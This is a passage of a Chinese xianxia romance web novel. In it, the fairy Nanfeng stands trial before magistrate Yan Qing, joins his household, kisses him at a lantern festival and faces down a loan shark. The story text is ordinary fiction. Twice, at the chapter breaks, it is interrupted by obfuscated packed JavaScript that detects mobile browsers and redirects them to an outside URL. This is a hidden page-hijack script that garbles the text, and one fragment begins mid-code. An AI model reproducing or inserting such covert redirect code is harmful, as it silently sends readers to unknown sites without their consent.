即便怒意翻涌,也不能失了仪态。神仙岂能与凡人一般计较?只是那李四的诬陷实在令人不悦,我咽不下这口恶气。 “那你说,怎么一回事?” 堂上知县温柔的语气似是安抚我委屈愤怒的心,我瞥了一眼跪在地上装可怜的李四,忍不住翻了个白眼。 这家伙,演得还挺像那么回事。 “我承认,我确实在他家牛棚里躺了一会儿。不过,这位兄可不是来关心我的。二话不说就伸手要扒我衣服!这叫什么?这叫猥亵!当然是一拳招呼过去啦!” 李四猛地抬起头,挤出一副委屈巴巴的表情。 “颜大人明鉴啊!小民冤枉!这姑娘分明是外乡人,谁知道她偷偷摸摸躲进小民家牛棚是想干什么?说不定是来偷东西的!”说完,还故意抹了抹眼角。 堂外围观的百姓一听,立刻交头接耳起来,指指点点的目光齐刷刷落在我身上。 嘀嘀咕咕说什么“外乡人就是不安分,谁知道她安的什么心?” 还有人附和:“就是就是,李四平时老实巴交的,怎么可能干那种事?” 好嘛,三言两语就把自己包装成了受害者,我倒成了个居心叵测的外来者。 真是人不可貌相,这演技,不去唱戏可惜了。 “闭嘴!” 我指尖微动,一缕仙风堵住了他的嘴。 凡人看不见的金光在我眸中流转。 “再说屁话,我让你这辈子都说不出话。” 堂上传来一声轻咳。我抬眼望去,正对上颜知县深邃的目光。 莫非识破了我的伎俩? 呵,怎么可能。不懂法术之人,不可能识破。 “本府自有定夺。姑娘叫什么名字?” 名字?我总不能直说我是蓬莱仙岛的南风仙子吧?凡间就是规矩多,麻烦。 “我没有名字。” “没有名字?” 颜知县眉头一皱,指尖在案几上轻轻敲击,似乎在琢磨这句话的真假。 李四突然跳了起来,仿佛抓到了什么了不得的把柄。 “唔唔唔唔呜呜呜!” 嘴巴被我缝住的李四跟村口的哑狗似的发出呜咽。 没人听得懂,除了我。 “你再说一遍试试!” 我瞪向他,恨不得当场给他一拳。 这家伙,真是蹬鼻子上脸!给脸不要脸! “安静!” 颜知县猛地一拍惊堂木。 李四立刻缩了缩脖子,不敢再吭声。 我冷哼一声,双臂抱在胸前,别过脸去,懒得再看他一眼。 堂内一时静得连堂外有人捂住口鼻打了个喷嚏都能听见,只有颜知县指尖敲击案几的轻响,一下一下,像是……敲在人心上。 深邃的目光沉吟,清隽之人不时抬眼对上我的视线。 似乎山林有鹿来,我咽了咽,按住胸口的小鹿乱撞。 完了,我又玩完了。 “接下来我有几个问题问你,你要如实回答。你为何出现在他家牛棚?” “我受了伤,为了躲避追兵,才躲进了他家牛棚。” “什么时候?” “昨晚。” “你说他想猥亵你,可有证据?” “他刚伸手要扒我衣服,我就先动手了,没留下证据。”我顿了顿,忽然想起什么,“不对……我的发簪好像不见了,被他扒拉时掉在他家牛棚里了。” “好,本府知晓了。” 堂内的气氛再次陷入紧张和压抑。 李四的额头渗出细密的汗,手指不自觉地抓挠着手臂。 反正总有办法收拾他,当官的靠不上那就靠自己。 跟活了几千年的神仙斗,天真。 颜知县目光锐利说道:“李四,若这姑娘说的属实,就算她打了你,你也是罪责在先。事实到底如何?” 李四还是说不出话,我大发慈悲解除了仙术。 “小民……小民真的没有……” “本府现在就派人去三口村查,你若现在认罪,杖责三十,关三日。等查实后认,再加杖责八十。” 李四吓得连连磕头:“大人明鉴!小民冤枉啊!只是……只是……” “只是什么?”知县声音一沉。 李四支支吾吾,半天憋不出一句完整的话。 “李四,你可知罪?” “小民……知罪。” 颜知县颔首,又看向我:“姑娘,你虽事出有因,但擅闯民宅并动手打人,按律当罚。念在你为自保,便关你一日,以示惩戒。” 我叹了口气点头认罚。早知道就不该贪玩跑下来。不过,关一日而已,就当休息了。 李四被两名衙役架着拖了出去,围观的百姓也三三两两地散去,嘴里还议论纷纷。 颜知县从堂上走下来,径直来到我面前。 我微微蹙眉,抬眼看他,心里有些警惕:“大人这是……?” “哪里受伤了?” 他声音忽然轻柔下来,与堂上判若两人。 我愣了一下,有些意外。 “大人不送我去牢里?”我挑眉问道,故意将“牢里”二字咬得极重。 颜知县没有直接回答,目光在我身上扫过,说道:“有伤就先治,其他的稍后再说。伤在哪里?” 他竟能一眼看穿我刻意隐藏的伤势?怎么看出的? 我犹豫片刻,伸手摸了摸腰后,指尖触到一片湿润。原本结痂的伤口动怒下又挣开,果然染上了血迹。 难怪被发现。 我看见他眉头几不可察地皱了一下,向一旁的人说:“去请唐大夫。” 师爷应声而去,脚步声在空旷的公堂里回荡。 我站在原地,心里有些茫然。 这位颜大人方才在堂上还一副铁面无私的模样,这会儿像是换了个人似的。 正想着,颜卿的声音又传来:“先坐下吧,脸色这么差。” 他端来一旁的椅子,我犹豫着慢慢坐下。 腰后的伤口被牵动,疼得我倒吸一口冷气,额头上渗出一层冷汗。 “伤得很重吗?” 我勉强扯了扯嘴角:“昨晚被人偷袭,没来得及处理。” 他沉默片刻,“在信州若遇到麻烦,可以来找我。” 我有些意外,扬唇笑道:“大人真是个好人,多谢。” 这话一出口,颜卿的耳根竟微微泛红,别过脸去,轻咳了一声:“不必客气。” 不久,师爷带着名大夫匆匆赶来,想必就是唐大夫了。唐大夫背着一个药箱,快步走到我身旁,询问我伤在何处。 我指了指腰后的位置,“这里,被插了一刀。” 唐大夫点了点头,示意我转过身去。他刚要掀开我的衣衫检查伤口,忽然意识到不对,又收回手。 “大人,这里是公堂……” 颜卿立刻会意,走到我面前,“失礼了。” 话音落下,他忽然俯身,一手揽过我的肩,另一手穿过我的膝弯,将我稳稳地抱了起来。我猝不及防,整个人瞬间悬空,下意识环住他的脖颈,抓住他的衣襟。 “颜大人这——!” 我有些慌乱,却见他神色如常。 “别动,小心扯到伤口。” 轻柔的嗓音,恰到好处的温柔,心跳却莫名加快了几分。他的手臂坚实有力,胸膛传来淡淡的暖意。 我低下头,不敢再看他,只觉得耳根热得厉害。 他抱着我穿过门廊,步履稳健,仿佛怀中轻若无物。 我偷偷抬眼,瞥见他线条分明的下颌和微微抿起的唇角,心里忽然涌上一丝说不清道不明的情绪。 很快,他带我到了信州府后院的一间空房,轻轻将我放在床上,动作小心翼翼,像是怕碰疼了我。 “你先休息,唐大夫稍后为你诊治。” 随后转身退出房间,顺手带上了门。我靠在床头,愣愣地看着紧闭的房门。 刚才那一幕在脑海里挥之不去,脸颊的热度久久未退。 这位颜大人,怎么私下里……竟是这样的人?还是说,他对所有人都这样,我在他眼里只是个人?再普通不过的平民百姓? 我摇了摇头,试图甩开那些乱七八糟的念头,可心跳却依旧快得不像话。 唐大夫开始替我检查伤口。我感受到他的手指在伤口周围轻轻按压,疼痛让我忍不住咬紧了牙关。 “伤口需要缝合。按时上药静心修养,好在伤的不是明显部位,姑娘不必担心。” 我稍稍松了口气。其实睡一觉就能好,或者找点仙草仙药。 奈何清早还没睡醒就被折磨到现在,待会儿还得去牢里坐坐,回去还得受爹爹无情一脚…… 烦!没事跑凡间来干嘛! 唐大夫收起药箱,走到门外和颜知县交代了几句便离开了。 我趴在柔软的铺床上,嗅到枕间若有似无的松墨香。 与那知县身上的气息如出一辙,不觉困意来袭。 颜知县再进屋内时,我已经彻底失去意识。 再醒来时,我揉了揉眼捂着腰坐起身,房间还是睡之前的房间,只是哪里变了。 到底哪里变了…… 掀开被子,穿上床边仅剩的一双鞋,推开紧闭的门扉,似是清晨的阳光耀眼而温暖。 我怎么记得我睡着之前是阴天呢?审判结束也该是中午了,这阳光……如何看都不像午后的样子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056745|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “姑娘醒啦。” 一位十四五岁的姑娘端着餐食走向我。 “先吃点东西吧。衣服穿着还合身吗?颜大人见你衣服上染了血,让我给您换了一件。” 原来是衣服被换了,我说怎么感觉哪里变了。她越过我走进屋内,将托盘放下。 “谢谢……”我迷迷糊糊地道谢,“颜知县呢?我醒了,可以去坐牢了。” 那姑娘惊讶地看向我,扑哧一下笑道:“姑娘这么想坐牢啊。” 她一面摆着碗筷一面笑着说道:“颜大人说,您正好在这儿昏睡了一天,反正都在这信州府,就当罚你在牢里待一天啦。” 还能这样? “姑娘先吃饭吧。待会儿,桂花带你去见颜大人。” “哦……” 昨夜也不知怎的,从蓬莱到人界时,我的“仙途司南”似乎出了点问题,竟直接把我送到一处山大王的地盘上。 更倒霉的是,我这一落,不偏不倚,正好砸在人家寨子里的“传世珍宝”上。 那玩意儿看着像个大花瓶,结果一碰就碎,跟纸糊的似的。 好歹我也是个神仙,虽然是个不靠谱的神仙,但赔个花瓶还是绰绰有余的。 于是,我拍了拍身上的灰,潇洒地一挥手,从袖子里掏出颗闪闪发光的东海夜明珠,豪气干云地说道:“大王别急,这玩意儿我赔你!比你这花瓶贵重千百倍,够意思吧?” 蓬莱仙岛紧邻东海,这玩意儿在我们那儿一点不值钱。 没想到,那山大王一听,不仅不领情,反而气得大吼一声:“兄弟们,给我砍了这个不知天高地厚的家伙!” 人界不准飞,只能用腿跑了。 于是,我撒腿就跑。山路崎岖,黑灯瞎火的,我一边跑一边心里嘀咕:“这山大王是不是脑子有坑?我都赔他夜明珠了,他还砍我?” 结果,一个没留神,脚下一滑,摔了个狗啃泥。 还没等我爬起来,后面追兵就赶上来了,一刀插进了我的腰后方。 疼得我龇牙咧嘴,心里直骂:敢杀神?!你们这是要逆天啊! 我气得不行,抬手一挥,仙力一荡,直接把那群追兵震晕了。 然后捂着腰,一瘸一拐地躲进了附近一户人家的牛棚里。想着先躲一躲,等天亮了再想办法。 后面的事,都知道啦。 区区凡人竟敢把神仙告上公堂!真是倒霉透顶! 不过,话说回来,那花瓶到底是啥来头?难道比我的夜明珠还值钱? 不可能,绝对不可能! 与此同时,偷跑到人间还受了伤的人,殊不知同一时刻蓬莱第几宫已经乱了套。 “人呢!又跑凡间去了?!” 听见隔壁房间的动静,还在睡梦中的东婝猛地醒过来,拍了拍自己的脸颊,用手理了理头发让自己看起来不至于失了仪态,趿拉着绣鞋赶忙跑去隔壁安抚躁动的爹。 “爹爹,出什么事了?” 愤怒的爹转过身来,眼底的怒气显而易见,“人呢?” 东婝刚睡醒,哪儿知道房间主人去哪儿了。不出意外,肯定是偷偷跑去凡间找乐子去了。 “小妹……应该只是出去了吧,一会儿就回来,爹爹不必担心。” 方大仙郁闷地抱起双臂,转头正要离开,忽然看到了披散着乱糟糟的长发,还穿着单衣的东婝。 “你回蓬莱做什么?” 东婝不禁疑惑,讪讪解释道:“回家自己家,需要理由吗?” “枕书君呢?” “……” 这个问题不能回答,东婝深知,无论说什么都是错,不如不说。 “道歉没有?” “没有。” “那你滚出蓬莱第几宫。” “……道歉了。” “撒谎,滚出去。” “不。” 东婝眼珠子一转,浑身一下僵住,假装无脑的傀儡一字一言说:“啊,昨晚同疏花君忙着安抚边疆的亡魂我好累啊需要继续回房歇息爹爹再见。” 然后同手同脚的一溜烟儿没了。 方大仙内心:怪我教子无方啊。 刚拐出门,方大仙又撞见坐在院子石椅上神情呆滞的西雨。乍一看,还以为是哪家的傻子。 “西雨。” 傻子回过头来,看了眼亲爹,又继续发呆。当然不忘回话:“爹爹放心,我不会离开蓬莱的。” “……” 方大仙看着三儿子呆滞的表情,再看看墙角刚溜走的二女儿,突然觉得自己的右脚有点寂寞。 南风不在,都没人可以踹了。 内心:一个整日只晓得跑出去,一个几千年不出家门……怪我教子无方啊。 “罢了。” 他似是看淡一般,西雨闻声望向方大仙,只见刚才还生气的爹莫名其妙笑了。 “爹爹是知道南风去哪了?” “嗯。” 方大仙毫不隐瞒。 “是成是败,皆在此局了。” 33. 雨晴烟晚 饭后,桂花姑娘领我去见颜知县。 虽说免了牢狱之灾是该好好谢谢人家,但一想到要单独面对那位知县,心里还是忍不住打退堂鼓。 才不是怕他呢!是……自己也说不清楚是紧张还是期待。 那张窥探不见深处的脸,断不敢轻信。 走到书房门口,桂花轻轻敲了敲门,里面传来一声低沉的“进来”。她推开门,示意我进去。我深吸一口气,迈步走进书房。 书房内,烛光摇曳,映照出颜知县伏案工作的身影。清隽之人低着头,正在批阅公文。烛光映在他的侧脸上,勾勒出他棱角分明专注的轮廓。 我站在门口,心中涌起种奇怪的感觉。那种感觉,像是春日里第一缕暖风,悄无声息地拂过心田。 颜知县察觉到我后,目光落在我身上。他放下手中的笔,缓缓站起身,走到我面前。 “姑娘伤势如何了?” “多谢知县大人关心。只是,还有那么一点疼……疼到半夜惊醒后,无法再眠。” 我故意将养了一天一夜的“重伤”装得楚楚可怜。 “莫非伤到了内里?我去寻大夫来。”说罢,他便要起身。我见状赶忙解释。 “不是不是!是我……我%那什么……” 奇怪,往日我在蓬莱舌战群仙的伶牙俐齿哪去了?此刻竟像个凡人姑娘般支支吾吾。 一室沉寂。 片刻后,颜知县不便追问,说道:“日后若有什么需要,姑娘可随时到信州府找我。” 原是唤我来下逐客令了。 我犹豫着张口又闭口,那股奇怪的感觉愈发强烈,有什么东西正悄然滋生。我咬了咬唇,终于鼓起勇气,上前一把抓住他的衣袖。 “颜大人!我……我无处可去,能否……可否留我在您府上做个丫鬟?我可以端茶递水打扫卫生!啊,清理茅坑不行……不,做啥都行!茅坑也行!保证不给您添麻烦!所以……” 我几乎要把自己说哭的地步。 颜知县闻言,身体怔愣,视线不时瞟向我抓住他的手。 不出所料,他的耳根又红了。 “府上的丫鬟并非轻松差事,每日需早起晚睡,事务繁杂……” “我可以!只要能有个安身之处,做牛做马再苦再累我也愿意!” 颜知县看着我,从耳根晕染开的红晕覆盖了整张脸。南风仙子的容貌在整个蓬莱算得上是美人,也不怪这位知县看我看得发愣。 我正沾沾自喜,下一瞬,他突然不自然地转移视线,轻轻抽回自己的衣袖。 这是,拒绝的意思?美丽动人的南风仙子竟不令他心动?! “既如此,你便留下吧。不过,一切需按规矩行事,不可逾越。” 我心中一喜,“多谢颜大人!” 颜知县转身大步走回书案旁,继续批阅公文。 一旦投入工作,这位大人身上的锋芒就会毫不隐藏地展露出来。我站在一旁,笑眼盈盈地望着他。 计划通! “对了,还不知大人姓名?” 他稍稍愣住,微不可察地转了下眼珠子,说道:“姓颜,单名一个卿字。” “砚清?!”我惊愕地赶忙追问,“字呢,怎么写的?” “华彩之颜,雅士之卿。” “啊……原来是这个字,我还以为……咳咳,没什么。” 颜卿。我暗暗重复着他的名字。 “颜如渥丹,卿云烂兮。竟和疏花元君一个姓……我记住啦,颜卿。” 在信州府住下后,凭借着手脚勤快,我很快和大家混熟。天不亮就爬起来,扫地擦桌端茶递水,样样不落人后。府里上上下下都夸我能干,连厨房的张大娘夫妇也对我格外照顾,每顿都偷偷给我多塞一个包子。见我喜欢白菜馅儿的,专挑一个馅儿的给我。 管家李叔也对我另眼相看。 某日,他捋着胡子笑眯眯地走过来说:“姑娘勤快,脑子也灵光,愿不愿意去伺候颜大人?不仅近身跟着大人,还能学点东西,长长见识。” 心里顿时乐开了花,脸上却故作矜持,我低头回话:“小女怕自己笨手笨脚的,伺候不好颜大人。” 李叔哈哈笑道:“可找不出比姑娘更聪明的了。大人每每忙碌起来,就忘了吃饭吃茶,身边正缺个细心敢直言不讳之人,我看你最合适。” “李叔放心,我一定把大人照顾得妥妥帖帖!” 两个月的努力,总算没白费! 从那天起,我名正言顺地成了颜卿的贴身丫鬟。 每天我早早起床,为他准备好洗漱用品;他批阅公文时,我就在一旁研墨、递茶;他外出时,我也跟在后面,替他打点一切。日子久了,颜卿对我的态度也渐渐温和起来。 此温柔非比温柔。 颜知县对世间万物皆赋予相同的温柔,从某日起,细心的本仙子发觉了我的那一份中,多了些偏心。 日子转眼来到五月初五,我在信州府也待了三个月。 “今晚是千灯节,要不要去看看?” “千灯节?” 倒茶的手顿在半空,我眨了眨眼一脸好奇。 “是不是很热闹?” “嗯,信州府每年最热闹的节日,你初来乍到,兴许会感兴趣。” “去!”我笑着凑近他,“那就麻烦大人带我开开眼界啦!” 这一凑近,颜卿显然没料到,眼神躲闪耳根一下子红透,连握着笔的手都微微抖了一下。 他轻咳声,故作镇定地后靠:“待我处理完手中的事务,便出发。” 我嬉笑着点头,心里已经开始盘算晚上要穿什么衣服了。 千灯节,信州府每年五月初五最盛大的节日。 传说百年前,信州曾遭遇一场大旱,百姓苦不堪言。某日,一位道法高深的仙人出现,说点燃千盏明灯,照亮整个信州城,天上的神仙看到后,便能驱散黑暗,迎来甘霖。 果然,次日天降大雨,旱情得以缓解。自此,信州百姓便将这一日定为“千灯节”,祈求来年风调雨顺、平安喜乐。 夜幕初垂,信州城街道两旁挂满了各式各样的花灯,灯影摇曳,映得整条街如同白昼。举目望去,城中的广场搭了一座高高的灯台。灯台上摆放着一盏巨大的莲花灯,花瓣层层叠叠。灯台四周,百姓们手持小灯,等待点燃自己的灯盏。 我站在颜卿身旁,手中捧着一盏小巧的兔子灯。颜卿今日难得换下官服,穿着月白色的长袍。他手中也提着一盏灯,灯上绘着几枝墨梅,栩栩如生。 “千灯节……颜大人觉得,天上的神仙真会看这些花灯吗?” 颜卿手中的墨梅灯随风轻转,灯影在他清俊的眉眼间流转。 “无论是否看到,这份信念陪伴信州百姓走过了百年。如果可以,我希望她能看到。神仙一定也不想错过如此美景。” 我笑问:“假设现在神仙正看着听着呢,颜大人有什么心愿吗?” “自然是希望信州风调雨顺,百姓安居乐业。” 我嘟着嘴暗自嘀咕:连许愿都这么正经,难怪二十一二还没妻室。 不服输的我又问:“那再假设,如果颜大人自己就是神仙,有什么想实现的心愿吗?刚才说过的不算!” 我刻意强调后半句,陡然提高的语调和伸长的脖子引得颜卿勾起笑意。 “那要看我是哪路神仙了。” “唔——药仙?医仙?总之就是可以救人的仙。” 慈眉善目的颜大人,救人治病的仙最合适。 颜卿沉吟,似是赞同我的说辞,道:“救人治病的神仙吗……那便许愿消除世间不治之症的其中一种吧。尽数消除有些贪心,一种足够救下诸多苍生,” 我惊叹:“哇!这愿望和刚才的风调雨顺异曲同工之妙啊!不愧是颜大人。” 颜卿浅笑:“假设而已,自然要想得远大一些。” 正说着,灯台上的莲花灯亮起,映得整个广场一片明亮。百姓们纷纷欢呼起来,随后依次上前将自己的灯盏点燃。 一时间,千盏明灯齐亮,如同星辰落地,美不胜收。我捧着兔子灯走到灯台前,将灯芯点燃。火焰跳动,映得我的脸颊微微发烫。闭上眼睛,故意念出声让身旁之人听清。 “愿信州百姓平安喜乐。愿颜卿能得一人心,白首不相离。” 许完愿,我抬眸看向一旁的颜卿,他正抬头望着满天的灯火,神情专注但掩不住红透的耳根和脸颊。 “大人许了什么愿?” “愿望说出来就不灵了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056746|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我撇了撇嘴,你不说我难道就不知道了吗。现在在你身旁的可是真神。 凝神屏气,我将神识专注在颜卿身上。 直到聆听了半晌寂静后,我才反应过来,内心都看不见的人如何听清心声。 忽地,远处传来一阵欢呼声。我们一同抬头望去,只见天空中升起了无数盏天灯,如同星河倒悬,美得令人窒息。 “大人快看!天灯!” 我兴奋地拉了拉颜卿的衣袖,颜卿一下怔愣,盯着我落在他衣袖的手。本以为他又会不自在地抽回手,然而还没等我主动松开,一只温暖的左手将我的右手手腕握了起来。 “人多,小心走散。” “……” 这个人,真的还是处男吗? 我会意地将他握得更紧,故意往他身侧贴近。 “人多,我得小心别和颜大人走散了。” 主动牵住的人手心开始微微冒汗,额头的汗水不知是因为现场的火光太盛还是因为别的。 五月的热气吧,连我也热起来。 颜卿开口问道:“你可知天灯还有另一个名字?” 我歪头:“什么名字?” “叫‘心愿灯’。据说将心愿写在灯上,随灯升入天空,若被仙人看见,许会帮你实现。” “嗯?这不同我们刚才——” 察觉到什么我立刻噤声,浑然不知道:“那大人可曾写了心愿?” 颜卿摇了摇头,“未曾。不过,你若想写,我可以陪你。” “好啊!” 颜卿带着我走到一旁的小摊前买了两盏天灯。我不经思考便将心愿写在灯上,偷偷瞥了一眼颜卿。写完我们一同将天灯点燃,静静地望着两盏紧邻的天灯缓缓升入夜空。 “你的心愿,一定会实现的。” 闻声,我微微一怔转头看颜卿。他望着天空,嘴角噙着一抹淡淡的笑意。 我暗喜,脸上泛起一丝红晕,眼睛落在他垂在身侧的手。 夜风轻拂,千灯齐明,整个信州城笼罩在一片温暖的光辉中。 “颜卿。” “嗯?” 我抬手抚上他的后颈,猛地一用力,将他惊愕的脸拉近。 “神说,她听到你的心愿了。于是,派我来满足你的愿望。” “什——” 没等他说完,我仰起头吻上他。 夜幕低垂,天穹如墨,漫天的天灯像是无数星辰从地面挣脱,飘向无尽的苍穹。 每一盏灯都承载着信州人的祈愿与梦想,微弱的光芒在黑暗中闪烁,连成一片温暖的光海。人群熙熙攘攘,笑声、欢呼声、祈祷声交织在一起,形成一片嘈杂的背景音。 然而,这一切与我们无关。 颜卿的身影在天灯的映照下显得格外清晰,眸中像是蕴藏了整片星空。而在那片星空中,倒映着一个我。 我稍稍离开唇瓣,目光与他交汇,确认他的反应。他的呼吸有些急促,眼中有迷茫与慌乱,像是从未经历过这样的时刻。 果然是处子之身呐。 我没有给他太多思考的时间,再次靠近。这一次,我的动作更加坚定。 舌尖撬开他紧闭的双唇,颜卿的身体猛地一僵,像是被惊雷劈中了一般整个人都僵住。他的手臂悬在半空中,不知所措,不知道该放在哪里。 我感受到他的惊慌,轻轻松开他,额头抵在他的胸膛。颜卿的眼中依旧迷茫,脸颊染上了一层淡淡的红晕,比天灯洒下的光更甚。 “你……” 颜卿的声音低哑而微弱,目光躲闪,不敢直视我的眼睛。 我轻轻笑了笑,指尖抚过他的脸颊、唇瓣。 “这是你的第一个吻吗?” 他没有出声,只是轻轻点头。 我环上他的腰,侧头倾听他心脏鼓动的声音。颜卿的身体依旧有些僵硬,但渐渐放松下来,将脸埋在我的发顶,温热的气息轻轻拂过我的发丝。 “颜卿……你可猜到我写的心愿是什么?我写下的是……”我附在他耳边轻声道:“从今往后,生生世世,我与你,永不分离。” 落在我后背的手掌更加用力地将我拥紧,他咽下一口气。 “我该怎么办……我该如何回应你……” 34. 奈何绵绵 我没有回答,只是静静地依偎在他的怀里,感受着他的温度与心跳。 天灯依旧在飘荡,光芒洒落在我们的身上,将这一刻定格成永恒。远处的人群依旧喧嚣,此刻,我的眼里只有他,只有这个吻,只有这片漫天的光海。 楚风,我给自己取的新名字,出自《楚辞》。 “沅有芷兮澧有兰,思公子兮未敢言。” 见到颜卿的第一眼,我便下定决心,他——非我莫属。我一见他欣喜若狂,刹那间,他的眼神一下夺走我不为人知、深藏已久的心。 可惜,他是块不聪明的木头。 颜卿不是我下凡邂逅的第一个人,确实第一个令我不知如何是好的人。他的心思太过单纯,像是在官府出家的人,远离红尘,远离男女情爱,一心为国为民。 没关系,我有的是时间。既然不能一步到位占有他,那就一步一脚印,靠双手把他拉到身边来。 千灯节那天后,我本以为颜卿会躲着我、回避我,因为他说他不知道如何回应我。不肯再见也属正常,我也提前给自己做好了心理准备。 没想到……事情的发展完全出乎我的意料。 “欸?未婚妻?我吗?” 面对我的三连问,颜卿只有一个肯定的回答。 “是的。” 眼前的人身姿挺拔如松地站在我房门口的院子里,眉眼间是不容置疑的坚定。毕竟那日他僵得像块木头,连呼吸都忘了换气。 可眼前这个站在我院中的男子,哪有一丝退缩之意? “从今日起,你便是我的未婚妻了。” 我愣住了,手中的茶杯差点掉在地上。脑子好乱,这是什么情况?我是不小心昏迷了几天还是失忆了,怎么突然就跳到“未婚妻”这一步? 我张了张嘴,不知道该说什么,只呆呆地看着他,试图从他的表情中找出一点玩笑的痕迹。 然而没有,找不到。 他似乎对我的反应有些不解,耐心地解释道:“千灯节那日,众目之下,你……咳咳,亲了我。这关系到姑娘家的清白名声,我不能让你因此受人非议。既然你我皆在人世间孤身一人,等有空,择一良辰吉日,我娶你过门。” 他说话的语气仿佛这一切都是理所当然。 我听得目瞪口呆,他是因为这个原因才决定娶我?因为一个吻,因为所谓的“清白名声”? 我忍不住噗嗤笑出声,“颜卿,你是因为责任才要娶我吗?”我走近他,“还是说,你真的想娶我?” 颜卿似乎没料到我会这么问。良久,他才低声说道:“我不知道。但我知道,我不能让你因我而受人非议。你……值得被好好对待。” 明明不懂情爱,却因为一份责任感,愿意将余生与我绑在一起。有些好笑,又有些心疼。 “颜卿,”我试探着握住他的指尖,“你有没有想过,或许我并不在意那些所谓的名声?或许我亲你,只是因为我喜欢你?” “我……”他张了张嘴,却不知道该说什么,只能偏过头,避开我的目光。 我笑着伸手轻轻抚过他的脸颊,要他的眼睛看着我。 “我不需要你因为责任娶我。如果你真的想娶我,我希望是你也喜欢我。” 他没有说话,只是将脸埋在我的掌心,呼吸轻轻穿过我的指缝。良久,闷闷的声音传来:“好,我知道了。” 信州府一天到晚可有得忙。颜卿又是个凡事喜欢亲力亲为的好人,上到审理案件、调解纠纷,下到巡查街巷、安抚百姓,他无一不亲自过问。每日披着晨露赶往府衙,直到夜深人静才拖着疲惫的身子回来。他的案头总是堆满了卷宗,笔墨纸砚散乱其间。 清晨,我嘴里还嚼着最后一口馒头,慢悠悠地晃到大堂。今日的案子似乎与欠债有关,我站在人群后面踮起脚,看见一个叫赵老三的男人正跪在堂下,满脸凶相地指责一名妇人欠钱不还。 那妇人被衙役押上堂时,低着头,声音细若蚊蝇:“大人明鉴,民妇真的没有欠他钱……” “放屁!” 赵老三突然暴喝,脸上的横肉都在抖动,唾沫飞溅。 “白纸黑字画押的借据,你还敢抵赖?”他转向颜卿,语气咄咄逼人,“颜大人,这贱妇欠债不还,请您主持公道!” 颜卿眉头微蹙,目光在两人之间游移。他温声询问:“李氏,有什么话尽管提出,不必害怕。” 妇人抬起头,嘴唇颤抖着,却在瞥见赵老三凶狠的眼神后立刻低下头。她哆哆嗦嗦地从怀里掏出一个破旧的钱袋:“我……我还钱……” 赵老三一把抢过钱袋,掂了掂分量,脸上露出得意的狞笑。他朝颜卿草草拱手:“多谢大人主持公道,这债就算两清了。” 说完便大摇大摆地离去,那妇人也不敢多留,匆匆退下。 围观的百姓纷纷散去,我却总觉得哪里不对劲。那妇人手腕上的淤青,畏缩的神态,怎么看都不像是普通的债务纠纷。 我屏息跟随着赵老三,只见他拐进一条幽暗小巷,哼着小调将钱袋抛着玩。 不多时,李氏颤巍巍的身影也出现在巷口。 “钱我明明已经……还给你们了……” 赵老三突然变脸,一把揪住她衣襟:“还?你当初借的钱是还了,可利息呢?利滚利,你现在还欠我一大笔呢!就算饿死也得把钱给我还上!” 李氏的脸色瞬间惨白,“利息?当初不是说好没有利息的吗?你们……你们这是讹诈!” 赵老三猛地将她推在墙上,青砖蹭破了她本就满是补丁的衣袖。 “讹诈?你有证据吗?当初的找我们钱庄借钱的是你们,借条上可没写清楚有没有利息。欠债还钱,天经地义。你要是不还,我就让你在这信州府待不下去!” 我再也看不下去,一个箭步冲上前,护在李氏身前:“欺人太甚!人家明明已经还清了债务,你还想怎样!” 赵老三的狞笑僵在脸上。我趁机凑到李氏耳边低语:“您先回去,我是颜大人派来的。我待会把钱给您送家里来。” 还是颜大人有威信,李氏听后立马感动着连连点头,转身离开。 我冷眼看着赵老三那副痞里痞气的模样。他斜倚在墙边,根本没把我放在眼里。 区区凡人如此嚣张!今天我非得好好收拾你不可。 我几步跨到他面前,厉声喝道:“喂!赵老三!赵痞子!满脸长着麻子的丑人妖怪!” 面对我的咒骂,对方不以为然。赵老三懒洋洋地抬起头,眯着眼睛打量了我一番,嘴角扯出一抹不屑的笑:“所以你谁啊?家里的农活干完了吗?丈夫伺候好了吗?孩子尿布洗干净了吗?” 我双手叉腰,挺直了腰板拍拍胸脯:“行侠仗义楚女侠,记住没?” 他嗤笑一声,摆了摆手,一副不耐烦的样子,“我记住你干嘛。” 我心中怒火更盛,二话不说,抬腿就朝他踹了过去。赵老三猝不及防,被我踹得一个踉跄,捂着肚子弯下腰,疼得直叫唤:“嗐哟喂!你敢打我!我要告颜大人!” 我步步逼近说:“行啊。既然你想报官,我就只好——打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎榨干!诅咒你下辈子,下下辈子,永生永世都投胎到猪身上!” 赵老三脸色瞬间变得惨白,额头上冒出冷汗,喉咙里发出一阵干呕声。 “呕——女侠别说了……我要吐了……” “吐?信州府明律规定,破坏公共环境者二十大板。我看着你吐,吐完就带着证据送你去见颜大人。” 赵老三连忙捂住嘴,强忍着恶心。 “嗐哟喂,这位女侠你到底什么人啊,我跟你无冤无仇,你缠着我干嘛!还有你说话归说话,别说这么恶心行吗?!哪里像个姑娘家说出来的话!” “行侠仗义,不问因果!把李氏的钱还给她。” 赵老三一听,露出一副无赖相,摊了摊空空如也的双手。 “呵,原来是来要钱的。没有!” “没有是吧?你是真不信我敢打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎……” 赵老三听得头皮发麻,连连摆手,“停停停!别说了!你自己不恶心吗!” “恶心?你看我打不死你!” 